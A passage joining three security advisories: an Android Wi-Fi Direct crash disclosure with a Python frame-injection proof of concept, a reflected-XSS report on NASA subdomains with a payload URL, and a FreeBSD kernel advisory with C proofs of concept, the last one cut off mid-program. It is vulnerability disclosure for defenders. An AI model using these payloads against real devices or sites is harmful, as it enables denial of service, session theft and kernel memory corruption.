fa:7b:7a:42:02:13 p2p_dev_addr=fa:7b:7a:42:02:13 * pri_dev_type=1-0050F204-1 name='p2p-TEST1' config_methods=0x188 dev_capab=0x27 * group_capab=0x0 wfd_dev_info=000006015d022a0032 * * P2P-DEVICE-LOST p2p_dev_addr=fa:7b:7a:42:02:13 * * AP-STA-CONNECTED 42:fc:89:a8:96:09 [p2p_dev_addr=02:90:4c:a0:92:54] * * AP-STA-DISCONNECTED 42:fc:89:a8:96:09 [p2p_dev_addr=02:90:4c:a0:92:54] * * fa:7b:7a:42:02:13 * * Note: The events formats can be looked up in the wpa_supplicant code * @hide */ public WifiP2pDevice(String string) throws IllegalArgumentException { String[] tokens = string.split("[ \n]"); Matcher match; if (tokens.length < 1) { throw new IllegalArgumentException("Malformed supplicant event"); } switch (tokens.length) { case 1: /* Just a device address */ deviceAddress = string; return; case 2: match = twoTokenPattern.matcher(string); if (!match.find()) { throw new IllegalArgumentException("Malformed supplicant event"); } deviceAddress = match.group(2); return; case 3: match = threeTokenPattern.matcher(string); if (!match.find()) { throw new IllegalArgumentException("Malformed supplicant event"); } deviceAddress = match.group(1); return; default: match = detailedDevicePattern.matcher(string); if (!match.find()) { throw new IllegalArgumentException("Malformed supplicant event"); } deviceAddress = match.group(3); primaryDeviceType = match.group(4); deviceName = match.group(5); wpsConfigMethodsSupported = parseHex(match.group(6)); deviceCapability = parseHex(match.group(7)); groupCapability = parseHex(match.group(8)); if (match.group(9) != null) { String str = match.group(10); wfdInfo = new WifiP2pWfdInfo(parseHex(str.substring(0,4)), parseHex(str.substring(4,8)), parseHex(str.substring(8,12))); } break; } if (tokens[0].startsWith("P2P-DEVICE-FOUND")) { status = AVAILABLE; } } [...] -----/ On some Android devices when processing a probe response frame with a WiFi-Direct(P2P) information element that contains a device name attribute with specific bytes generates a malformed supplicant event string that ends up throwing the IllegalArgumentException. As this exception is not handled the Android system restarts. Below partial content of the logcat of a Samsung SM-T310 running Android 4.2.2. /----- I/p2p_supplicant( 2832): P2P-DEVICE-FOUND 00.EF.00 p2p_dev_addr=00.EF.00 pri_dev_type=10-0050F204-5 'fa¬¬' config_methods=0x188 dev_capab=0x21 group_capab=0x0 E/AndroidRuntime( 2129): !@*** FATAL EXCEPTION IN SYSTEM PROCESS: WifiMonitor E/AndroidRuntime( 2129): java.lang.IllegalArgumentException: Malformed supplicant event E/AndroidRuntime( 2129): at android.net.wifi.p2p.WifiP2pDevice.<init>(WifiP2pDevice.java:229) E/AndroidRuntime( 2129): at android.net.wifi.WifiMonitor$MonitorThread.handleP2pEvents(WifiMonitor.java:966) E/AndroidRuntime( 2129): at android.net.wifi.WifiMonitor$MonitorThread.run(WifiMonitor.java:574) E/android.os.Debug( 2129): !@Dumpstate > dumpstate -k -t -z -d -o /data/log/dumpstate_sys_error -----/ 8.1. *Proof of Concept* This PoC was implemented using the open source library Lorcon [2] and PyLorcon2 [3], a Python wrapper for the Lorcon library. /----- #!/usr/bin/env python import sys import time import struct import PyLorcon2 def get_probe_response(source, destination, channel): frame = str() frame += "\x50\x00" # Frame Control frame += "\x00\x00" # Duration frame += destination frame += source frame += source frame += "\x00\x00" # Sequence Control frame += "\x00\x00\x00\x00\x00\x00\x00\x00" # Timestamp frame += "\x64\x00" # Beacon Interval frame += "\x30\x04" # Capabilities Information # SSID IE frame += "\x00" frame += "\x07" frame += "DIRECT-" # Supported Rates frame += "\x01" frame += "\x08" frame += "\x8C\x12\x98\x24\xB0\x48\x60\x6C" # DS Parameter Set frame += "\x03" frame += "\x01" frame += struct.pack("B", channel) # P2P frame += "\xDD" frame += "\x27" frame += "\x50\x6F\x9A" frame += "\x09" # P2P Capabilities frame += "\x02" # ID frame += "\x02\x00" # Length frame += "\x21\x00" # P2P Device Info frame += "\x0D" # ID frame += "\x1B\x00" # Length frame += source frame += "\x01\x88" frame += "\x00\x0A\x00\x50\xF2\x04\x00\x05" frame += "\x00" frame += "\x10\x11" frame += "\x00\x06" frame += "fafa\xFA\xFA" return frame def str_to_mac(address): return "".join(map(lambda i: chr(int(i, 16)), address.split(":"))) if __name__ == "__main__": if len(sys.argv) != 3: print "Usage:" print " poc.py <iface> <target>" print "Example:" print " poc.py wlan0 00:11:22:33:44:55" sys.exit(-1) iface = sys.argv[1] destination = str_to_mac(sys.argv[2]) context = PyLorcon2.Context(iface) context.open_injmon() channel = 1 source = str_to_mac("00:11:22:33:44:55") frame = get_probe_response(source, destination, channel) print "Injecting PoC." for i in range(100): context.send_bytes(frame) time.sleep(0.100) -----/ 9. *Report Timeline* . 2014-09-26: Core Security contacts Android security team to inform them that a vulnerability has been found in Android. Core Security sends a draft advisory with technical details and PoC files. . 2014-09-29: Android Security Team acknowledges reception of the advisory. . 2014-09-30: Core Security notifies that the tentative publication date is set for Oct 20rd, 2014. . 2014-09-30: Android Security Team acknowledges. . 2014-10-16: Core Security requests a status update. . 2014-10-16: Android Security Team responds that they have classify the vulnerability as low severity and don't currently have a timeline for releasing a fix. . 2014-10-20: Core Security does not completely agrees with the vulnerability classification and reschedule the publication of the advisory. . 2014-10-16: Android Security Team acknowledges and strengthens it's position that they don't currently have a timeline for releasing a fix. . 2015-01-06: Core Security requests a status update. . 2015-01-12: Core Security asks for confirmation of reception of the previous email. . 2015-01-16: Android Security Team acknowledges and respond that they don't currently have a timeline for releasing a fix. . 2015-01-19: Core Security notifies that vendor cooperation is needed in order to keep this process coordinated. If vendor refuses to provide the requested information the advisory will be released tagged as 'user release'. The advisory is re-scheduled for January 26th, 2015. . 2015-01-20: Android Security Team acknowledges and respond that they don't currently have a timeline for releasing a fix. . 2015-01-26: The advisory CORE-2015-0002 is published. 10. *References* [1] - wpa_supplicant site. [url]http://w1.fi/wpa_supplicant/[/url] [2] - Lorcon site. [url]https://code.google.com/p/lorcon[/url] [3] - PyLorcon2 site. [url]http://code.google.com/p/pylorcon2[/url] 11. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: [url]http://corelabs.coresecurity.com[/url]. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: [url]http://www.coresecurity.com[/url]. 13. *Disclaimer* The contents of this advisory are copyright (c) 2014 Core Security and (c) 2014 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: [url]http://creativecommons.org/licenses/by-nc-sa/3.0/us/[/url] 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at [url]http://www.coresecurity.com/files/attachments/core_security_advisories.asc[/url]. Source

###################################################################### # Exploit Title: NASA.gov sub-domains Multiple vulnerabilities # Date: 27/01/2015 # Author: Yann CAM @ Synetis - ASafety # Vendor or Software Link: www.nasa.gov # Version: / # Category: Multiple vulnerabilities # Google dork: # Tested on: NASA.gov sub-domains ###################################################################### NASA description : ======================================================================================= The National Aeronautics and Space Administration (NASA) is the United States government agency responsible for the civilian space program as well as aeronautics and aerospace research. There are several sub-domains and independent projects within NASA. Those affected by this advisory are : - Planetary Data System (PDS) : Reflected Cross-Site Scripting (RXSS) - NASA’s Archive of Data on Energetic Phenomena (HEASARC) : Reflected Cross-Site Scripting (RXSS) - Direct Readout Laboratory (directreadout) de la NASA : Reflected Cross-Site Scripting (RXSS) and potential SQLi. Vulnerability description : ======================================================================================= Reflected XSS are available in each nasa.gov sub-domain above. Through this kind of vulnerability, an attacker could tamper with page rendering, redirect victims to fake NASA portals, or capture NASA's users credentials such cookies. These reflected XSS are on GET variables and are not properly sanitized before being used in pages. Planetary Data System (PDS) - pds.nasa.gov - PoC : ======================================================================================= A non-persistent XSS (RXSS) in "INSTRUMENT_HOST_ID" GET param is available in the pds.nasa.gov sub-domain. Tested on Firefox 33.0. PoC: http://pds.nasa.gov/ds-view/pds/viewHostProfile.jsp?INSTRUMENT_HOST_ID=NH<img src='x' onerror='alert(/Reflected XSS - Yann CAM @asafety/);' /> for CFSQLTYPE CF_SQL_INTEGER. <br>The error occurred on line 13. Screenshots : ======================================================================================= - [url]http://www.asafety.fr/data/20140824-nasa001.png[/url] - [url]http://www.asafety.fr/data/20140824-nasa002.png[/url] - [url]http://www.asafety.fr/data/20140824-nasa003.png[/url] - [url]http://www.asafety.fr/data/20140824-nasa004.png[/url] - [url]http://www.asafety.fr/data/20140824-nasa005.png[/url] Solution: ======================================================================================= Fixed by each NASA Portal's team. Additional resources : ======================================================================================= - [url]http://www.nasa.gov/[/url] - [url]http://pds.nasa.gov/[/url] - [url]http://heasarc.gsfc.nasa.gov/[/url] - [url]http://directreadout.sci.gsfc.nasa.gov/[/url] - [url]http://www.asafety.fr/vuln-exploit-poc/contribution-nasa-sous-domaines-multiples-vulnerabilites/[/url] - [url]http://www.synetis.com[/url] Report timeline : ======================================================================================= 2014-10-31 : Each NASA Portal's team was alerted by email. 2014-10-31 : PDS team feedback with thanks. 2014-11-04 : PDS and HEASEARC portals fixed. 2014-12-04 : Second email to DRL team to get a status. 2014-12-27 : Account creation on DRL portal to send tp the DRL team through contact form. 2015-01-07 : DRL portal seems to be fixed. All vulnerabilities are fixed on each portal. 2015-01-27 : Public advisory Credits : ======================================================================================= 88888888 88 888 88 88 888 88 88 788 Z88 88 88.888888 8888888 888888 88 8888888. 888888. 88 88 888 Z88 88 88 88 88 88 88 8888888 88 88 88 88 88 88 88 88 888 888 88 88 88 88 88888888888 88 88 888888 88 88 88 8. 88 88 88 88 88 888 888 ,88 8I88 88 88 88 88 88 88 .88 .88 ?8888888888. 888 88 88 88888888 8888 88 =88888888 888. 88 88 [url]www.synetis.com[/url] 8888 Consulting firm in management and information security Yann CAM - Security Consultant @ Synetis | ASafety -- SYNETIS | ASafety CONTACT: [url]www.synetis.com[/url] | [url]www.asafety.fr[/url] Source

Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ FreeBSD Kernel Multiple Vulnerabilities 1. *Advisory Information* Title: FreeBSD Kernel Multiple Vulnerabilities Advisory ID: CORE-2015-0003 Advisory URL: http://www.coresecurity.com/content/freebsd-kernel-multiple-vulnerabilities Date published: 2015-01-27 Date of last update: 2015-01-27 Vendors contacted: FreeBSD Release mode: Coordinated release 2. *Vulnerability Information* Class: Unsigned to Signed Conversion Error [CWE-196], Improper Validation of Array Index [CWE-129], Improper Validation of Array Index [CWE-129] Impact: Code execution, Denial of service Remotely Exploitable: No Locally Exploitable: Yes CVE Name: CVE-2014-0998, CVE-2014-8612, CVE-2014-8612 3. *Vulnerability Description* FreeBSD is an advanced computer operating system used to power modern servers, desktops and embedded platforms. A large community has continually developed it for more than thirty years. Its advanced networking, security and storage features have made FreeBSD the platform of choice for many of the busiest web sites and most pervasive embedded networking and storage devices. Multiple vulnerabilities have been found in the FreeBSD kernel code that implements the vt console driver (previously known as Newcons) and the code that implements SCTP sockets. These vulnerabilities could allow local unprivileged attackers to disclose kernel memory containing sensitive information, crash the system, and execute arbitrary code with superuser privileges. 4. *Vulnerable packages* . FreeBSD 10.1-RELEASE. Other versions may be affected too but they were no checked. 5. *Non-vulnerable packages* . FreeBSD 10.1-RELENG. 6. *Vendor Information, Solutions and Workarounds* The FreeBSD team has released patches for the reported vulnerabilities. You should upgrade to FreeBSD 10.1-RELENG or one of the following releases: . stable/10, 10.1-STABLE . releng/10.1, 10.1-RELEASE-p5 . releng/10.0, 10.0-RELEASE-p17 . stable/9, 9.3-STABLE . releng/9.3, 9.3-RELEASE-p9 . stable/8, 8.4-STABLE . releng/8.4, 8.4-RELEASE-p23 The vendor publish a security Advisory that can be accessed here[6]. 7. *Credits* This vulnerability was discovered and researched by Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Joaquin Rodriguez Varela from Core Advisories Team. 8. *Technical Description / Proof of Concept Code* 8.1. *FreeBSD vt Driver VT_WAITACTIVE Sign Conversion Vulnerability* [CVE-2014-0998] FreeBSD 10.1-RELEASE added[1] the 'vt(4)'[2] console driver (previously known as Newcons[3]). This new console driver can be enabled by adding the line 'kern.vty=vt' to the '/boot/loader.conf' file and then rebooting the system. The vt console driver is prone to a sign conversion error when handling the 'VT_WAITACTIVE' ioctl message, which can be ultimately leveraged by a local unprivileged attacker to make the kernel access an array outside of its boundaries. The vt console driver provides multiple virtual terminals, which are mapped to the '/dev/ttyv*' device nodes. A user can send messages to the vt driver by opening the '/dev/ttyv*' device node belonging to his virtual terminal and then using the 'ioctl' system call. The function 'vtterm_ioctl' in 'sys/dev/vt/vt_core.c' handles ioctl messages sent to the vt driver. One of the supported messages is called 'VT_WAITACTIVE': /----- static int vtterm_ioctl(struct terminal *tm, u_long cmd, caddr_t data, struct thread *td) { int error, i, s; [...] switch (cmd) { [...] case VT_WAITACTIVE: error = 0; i = *(unsigned int *)data; if (i > VT_MAXWINDOWS) return (EINVAL); if (i != 0) vw = vd->vd_windows[i - 1]; [...] -----/ As shown above, when handling the 'VT_WAITACTIVE' ioctl message, the 'data' input buffer (which is fully controlled by the local user) is casted as '(unsigned int *)' in order to read an 'unsigned int' from the input data; however, the read value is stored in the 'i' variable, which has *signed* type 'int'. This sign conversion error will make possible for a local attacker to bypass the subsequent boundary check that tries to ensure that 'i' is not greater than 'VT_MAXWINDOWS' before using it as an index to access the 'vd->vd_windows' array. This flaw can be leveraged by a local attacker to make the kernel access the 'vd->vd_windows' array outside of its boundaries. The following disassembly snippet represents the vulnerable code in the FreeBSD kernel binary ('/boot/kernel/kernel'): /----- vtterm_ioctl+1306 loc_C09B2506: ; CODE XREF: vtterm_ioctl+D6Cj vtterm_ioctl+1306 cmp esi, 20047606h ; case VT_WAITACTIVE: vtterm_ioctl+130C mov ecx, edx ; ecx = vd->vd_windows vtterm_ioctl+130E mov eax, ebx vtterm_ioctl+1310 jnz loc_C09B275B vtterm_ioctl+1316 mov eax, [eax] ; i = *(unsigned int *)data; vtterm_ioctl+1318 cmp eax, 0Ch ; if (i > VT_MAXWINDOWS)... vtterm_ioctl+131B mov edi, 16h vtterm_ioctl+1320 jg loc_C09B2760 ; *** signed comparison! vtterm_ioctl+1326 test eax, eax ; if (i != 0)... vtterm_ioctl+1328 jz short loc_C09B2531 vtterm_ioctl+132A mov eax, [ecx+eax*4-4] ; **** vw = vd->vd_windows[i - 1]; ---> access vd->vd_windows outside of its boundaries vtterm_ioctl+132E mov [ebp+var_30], eax -----/ 8.2. *FreeBSD SCTP Socket SCTP_SS_VALUE Memory Corruption Vulnerability* [CVE-2014-8612] FreeBSD implements the Stream Control Transmission Protocol (SCTP).[4]. A userland application can use the 'getsockopt/setsockopt' system calls in order to manipulate the options associated with an SCTP socket. The FreeBSD kernel is prone to a memory corruption vulnerability when setting the 'SCTP_SS_VALUE' SCTP socket option via the 'setsockopt' system call. This vulnerability can be leveraged by a local unprivileged attacker to corrupt kernel memory with an arbitrary 16-bit value. The handling of the 'setsockopt' system call at the SCTP level is performed by the function 'sctp_setopt' [file 'sys/netinet/sctp_userreq.c']: /----- static int sctp_setopt(struct socket *so, int optname, void *optval, size_t optsize, void *p) { [...] switch (optname) { [...] case SCTP_SS_VALUE: { struct sctp_stream_value *av; SCTP_CHECK_AND_CAST(av, optval, struct sctp_stream_value, optsize); SCTP_FIND_STCB(inp, stcb, av->assoc_id); if (stcb) { if (stcb->asoc.ss_functions.sctp_ss_set_value(stcb, &stcb->asoc, &stcb->asoc.strmout[av->stream_id], av->stream_value) < 0) { -----/ As shown above, when handling the 'SCTP_SS_VALUE' socket option, the 'optval' option value (which is fully controlled by the local user), is casted to the 'struct sctp_stream_value *' type and stored into the 'av' variable by using the 'SCTP_CHECK_AND_CAST' macro. After that, if the 'sctb' pointer is not 'NULL' (condition that can be achieved by having the SCTP socket in a *connected* state), then the 'stcb->asoc.ss_functions.sctp_ss_set_value' function pointer is called. The third argument for this function is '&stcb->asoc.strmout[av->stream_id]'. As can be seen, the unstrusted 'av->stream_id' value (which is fully controlled by the local attacker) is used as an index within the 'stcb->asoc.strmout' array without properly checking if it's within the bounds of the array. However, note that the memory address calculated using the untrusted index is not dereferenced yet; just the calculated address is passed as an argument to the function, so there is still no memory access at this point. 'stcb->asoc.ss_functions' has type 'struct sctp_ss_functions', which is a struct defined in the file 'sys/netinet/sctp_structs.h' containing several function pointers. One of its members is 'sctp_ss_set_value', which is the one being called when handling the 'SCTP_SS_VALUE' socket option: /----- /* * RS - Structure to hold function pointers to the functions responsible * for stream scheduling. */ struct sctp_ss_functions { void (*sctp_ss_init) (struct sctp_tcb *stcb, struct sctp_association *asoc, int holds_lock); void (*sctp_ss_clear) (struct sctp_tcb *stcb, struct sctp_association *asoc, int clear_values, int holds_lock); void (*sctp_ss_init_stream) (struct sctp_stream_out *strq, struct sctp_stream_out *with_strq); void (*sctp_ss_add_to_stream) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, struct sctp_stream_queue_pending *sp, int holds_lock); int (*sctp_ss_is_empty) (struct sctp_tcb *stcb, struct sctp_association *asoc); void (*sctp_ss_remove_from_stream) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, struct sctp_stream_queue_pending *sp, int holds_lock); struct sctp_stream_out *(*sctp_ss_select_stream) (struct sctp_tcb *stcb, struct sctp_nets *net, struct sctp_association *asoc); void (*sctp_ss_scheduled) (struct sctp_tcb *stcb, struct sctp_nets *net, struct sctp_association *asoc, struct sctp_stream_out *strq, int moved_how_much); void (*sctp_ss_packet_done) (struct sctp_tcb *stcb, struct sctp_nets *net, struct sctp_association *asoc); int (*sctp_ss_get_value) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, uint16_t * value); int (*sctp_ss_set_value) (struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, uint16_t value); }; -----/ The file 'sys/netinet/sctp_ss_functions.c' defines an array called 'sctp_ss_functions'; each element of this array has type 'struct sctp_ss_functions' and defines a set of function pointers suitable for different SCTP socket options: /----- struct sctp_ss_functions sctp_ss_functions[] = { /* SCTP_SS_DEFAULT */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_default_clear, .sctp_ss_init_stream = sctp_ss_default_init_stream, .sctp_ss_add_to_stream = sctp_ss_default_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_default_remove, .sctp_ss_select_stream = sctp_ss_default_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_ROUND_ROBIN */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_default_clear, .sctp_ss_init_stream = sctp_ss_default_init_stream, .sctp_ss_add_to_stream = sctp_ss_rr_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_default_remove, .sctp_ss_select_stream = sctp_ss_default_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_ROUND_ROBIN_PACKET */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_default_clear, .sctp_ss_init_stream = sctp_ss_default_init_stream, .sctp_ss_add_to_stream = sctp_ss_rr_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_default_remove, .sctp_ss_select_stream = sctp_ss_rrp_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_rrp_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_PRIORITY */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_prio_clear, .sctp_ss_init_stream = sctp_ss_prio_init_stream, .sctp_ss_add_to_stream = sctp_ss_prio_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_prio_remove, .sctp_ss_select_stream = sctp_ss_prio_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_prio_get_value, .sctp_ss_set_value = sctp_ss_prio_set_value }, /* SCTP_SS_FAIR_BANDWITH */ { .sctp_ss_init = sctp_ss_default_init, .sctp_ss_clear = sctp_ss_fb_clear, .sctp_ss_init_stream = sctp_ss_fb_init_stream, .sctp_ss_add_to_stream = sctp_ss_fb_add, .sctp_ss_is_empty = sctp_ss_default_is_empty, .sctp_ss_remove_from_stream = sctp_ss_fb_remove, .sctp_ss_select_stream = sctp_ss_fb_select, .sctp_ss_scheduled = sctp_ss_fb_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value }, /* SCTP_SS_FIRST_COME */ { .sctp_ss_init = sctp_ss_fcfs_init, .sctp_ss_clear = sctp_ss_fcfs_clear, .sctp_ss_init_stream = sctp_ss_fcfs_init_stream, .sctp_ss_add_to_stream = sctp_ss_fcfs_add, .sctp_ss_is_empty = sctp_ss_fcfs_is_empty, .sctp_ss_remove_from_stream = sctp_ss_fcfs_remove, .sctp_ss_select_stream = sctp_ss_fcfs_select, .sctp_ss_scheduled = sctp_ss_default_scheduled, .sctp_ss_packet_done = sctp_ss_default_packet_done, .sctp_ss_get_value = sctp_ss_default_get_value, .sctp_ss_set_value = sctp_ss_default_set_value } }; -----/ Note that the value for the 'sctp_ss_set_value' field is *almost* always set to 'sctp_ss_default_set_value', which is just a dummy function defined in 'sys/netinet/sctp_ss_functions.c': /----- static int sctp_ss_default_set_value(struct sctp_tcb *stcb SCTP_UNUSED, struct sctp_association *asoc SCTP_UNUSED, struct sctp_stream_out *strq SCTP_UNUSED, uint16_t value SCTP_UNUSED) { /* Nothing to be done here */ return (-1); } -----/ The only case in which the 'sctp_ss_set_value' field is set to a different value is in the 4th element of the array, which corresponds to the 'SCTP_SS_PRIORITY' socket option; in that case, the function pointer is set to 'sctp_ss_prio_set_value', which is a function defined in 'sys/netinet/sctp_ss_functions.c': /----- static int sctp_ss_prio_set_value(struct sctp_tcb *stcb, struct sctp_association *asoc, struct sctp_stream_out *strq, uint16_t value) { if (strq == NULL) { return (-1); } strq->ss_params.prio.priority = value; sctp_ss_prio_remove(stcb, asoc, strq, NULL, 1); sctp_ss_prio_add(stcb, asoc, strq, NULL, 1); return (1); } -----/ The 'value' parameter is fully controlled by the attacker, and the actual value of the 'strq' pointer parameter is the address '&stcb->asoc.strmout[av->stream_id]' in which the attacker can set the 'av->stream_id' index beyond the boundaries of the array, so this function will provide a write-what-where memory corruption primitive when doing the 'strq->ss_params.prio.priority = value' assignment. This memory corruption vulnerability allows a local unprivileged attacker to overwrite kernel memory outside of the 'stcb->asoc.strmout' array with an arbitrary 'uint16_t' value. In order to make use of the 'sctp_ss_prio_set_value' function, the attacker needs to set up the 'stcb->asoc.ss_functions' struct with the function pointers belonging to the 'SCTP_SS_PRIORITY' socket option. This can be done by hitting the following code in the 'sctp_setopt' function; as can be seen, the 'stcb->asoc.ss_functions' struct can be properly set up for the attack by setting an 'SCTP_PLUGGABLE_SS' socket option with an option value of type 'struct sctp_assoc_value' having its 'assoc_value' field set to 'SCTP_SS_PRIORITY' (see the 'stcb->asoc.ss_functions = sctp_ss_functions[av->assoc_value] ' statement): /----- case SCTP_PLUGGABLE_SS: { struct sctp_assoc_value *av; SCTP_CHECK_AND_CAST(av, optval, struct sctp_assoc_value, optsize); /* Checks if av->assoc_value is a valid index within the sctp_ss_functions array */ if ((av->assoc_value != SCTP_SS_DEFAULT) && (av->assoc_value != SCTP_SS_ROUND_ROBIN) && (av->assoc_value != SCTP_SS_ROUND_ROBIN_PACKET) && (av->assoc_value != SCTP_SS_PRIORITY) && (av->assoc_value != SCTP_SS_FAIR_BANDWITH) && (av->assoc_value != SCTP_SS_FIRST_COME)) { SCTP_LTRACE_ERR_RET(inp, NULL, NULL, SCTP_FROM_SCTP_USRREQ, EINVAL); error = EINVAL; break; } SCTP_FIND_STCB(inp, stcb, av->assoc_id); if (stcb) { stcb->asoc.ss_functions.sctp_ss_clear(stcb, &stcb->asoc, 1, 1); /* The function pointers struct is set up here!!! */ stcb->asoc.ss_functions = sctp_ss_functions[av->assoc_value]; stcb->asoc.stream_scheduling_module = av->assoc_value; stcb->asoc.ss_functions.sctp_ss_init(stcb, &stcb->asoc, 1); SCTP_TCB_UNLOCK(stcb); -----/ 8.3. *FreeBSD SCTP Socket SCTP_SS_VALUE Kernel Memory Disclosure Vulnerability* [CVE-2014-8612] The third vulnerability is closely related to the second one. The FreeBSD kernel is prone to a kernel memory disclosure when reading the value of the 'SCTP_SS_VALUE' SCTP socket option via the 'getsockopt' system call, which allows local unprivileged attackers to read 16-bit values belonging to the kernel memory space. The handling of the 'getsockopt' system call at the SCTP level is performed by the function 'sctp_getopt' [file 'sys/netinet/sctp_userreq.c']: /----- static int sctp_getopt(struct socket *so, int optname, void *optval, size_t *optsize, void *p) { [...] switch (optname) { [...] case SCTP_SS_VALUE: { struct sctp_stream_value *av; SCTP_CHECK_AND_CAST(av, optval, struct sctp_stream_value, *optsize); SCTP_FIND_STCB(inp, stcb, av->assoc_id); if (stcb) { if (stcb->asoc.ss_functions.sctp_ss_get_value(stcb, &stcb->asoc, &stcb->asoc.strmout[av->stream_id], &av->stream_value) < 0) { -----/ When handling the 'SCTP_SS_VALUE' socket option, the 'optval' option value (which is fully controlled by the local attacker), is casted to the 'struct sctp_stream_value *' type and stored into the 'av' variable by using the 'SCTP_CHECK_AND_CAST' macro. After that, if the 'sctb' pointer is not 'NULL' (condition that can be achieved by having the SCTP socket in a *connected* state), the 'stcb->asoc.ss_functions.sctp_ss_get_value' function pointer is called. The third argument for this function is '&stcb->asoc.strmout[av->stream_id]'. As can be seen, the unstrusted 'av->stream_id' value (which is fully controlled by the local attacker) is used as an index within the 'stcb->asoc.strmout' array without properly checking if it's within the bounds of the array. The default value for the 'sctp_ss_get_value' function pointer is 'sctp_ss_default_get_value', which is just a dummy function defined in 'sys/netinet/sctp_ss_functions.c': /----- static int sctp_ss_default_get_value(struct sctp_tcb *stcb SCTP_UNUSED, struct sctp_association *asoc SCTP_UNUSED, struct sctp_stream_out *strq SCTP_UNUSED, uint16_t * value SCTP_UNUSED) { /* Nothing to be done here */ return (-1); } -----/ The only useful possible value for this function pointer is 'sctp_ss_prio_get_value', which belongs to the function pointers of the 'SCTP_SS_PRIORITY' socket option: /----- static int sctp_ss_prio_get_value(struct sctp_tcb *stcb SCTP_UNUSED, struct sctp_association *asoc SCTP_UNUSED, struct sctp_stream_out *strq, uint16_t * value) { if (strq == NULL) { return (-1); } *value = strq->ss_params.prio.priority; return (1); } -----/ The actual value of the 'strq' pointer parameter is the address '&stcb->asoc.strmout[av->stream_id]' in which the attacker can set the 'av->stream_id' index beyond the boundaries of the array, so this function will allow a local unprivileged attacker to read an 'uint16_t' value belonging to the kernel memory outside of the 'stcb->asoc.strmout' array when doing the '*value = strq->ss_params.prio.priority' assignment. In order to make use of the 'sctp_ss_prio_get_value' function, the attacker needs to set up the 'stcb->asoc.ss_functions' struct with the function pointers belonging to the 'SCTP_SS_PRIORITY' socket option, as it was previously explained for the second vulnerability. 8.4. *Proof of Concept* The following code is a Proof of Concept for the first vulnerability: /----- #include <stdio.h> #include <sys/consio.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv){ int fd; printf("** FreeBSD vt Driver VT_WAITACTIVE Sign Conversion Vulnerability PoC **\n"); if (argc < 2){ printf("\nUsage: ./poc_vt </dev/ttyv*>, where ttyv* is your current virtual terminal.\n"); printf("\nExample: ./poc_vt /dev/ttyv1\n\n"); exit(1); } fd = open(argv[1], O_RDONLY); if (fd == -1){ perror("open"); exit(1); } /* 0x90919293 is a negative number when it's interpreted as a signed int, thus it will bypass the * (signed) boundary check that tries to guarantee that this value is not greater than VT_MAXWINDOWS (12). * This value will be ultimately used as an index to access the vd->vd_windows array. */ if (ioctl(fd, VT_WAITACTIVE, (void *) 0x90919293) == -1){ perror("ioctl"); } close(fd); return 0; } -----/ The following code is a Proof of Concept for the second vulnerability: /----- #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <netinet/sctp_uio.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define PORT 4444 #define ADDR "127.0.0.1" int main(int argc, char *argv[]) { int fd; struct sockaddr_in addr; struct sctp_initmsg init; struct sctp_stream_value stream_value; struct sctp_assoc_value assoc_value; socklen_t opt_len; printf("** FreeBSD SCTP Socket SCTP_SS_VALUE Memory Corruption Vulnerability PoC **\n"); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP)) < 0) { perror("socket"); goto out; } memset(&init, 0, sizeof(init)); init.sinit_num_ostreams = 2048; if (setsockopt(fd, IPPROTO_SCTP, 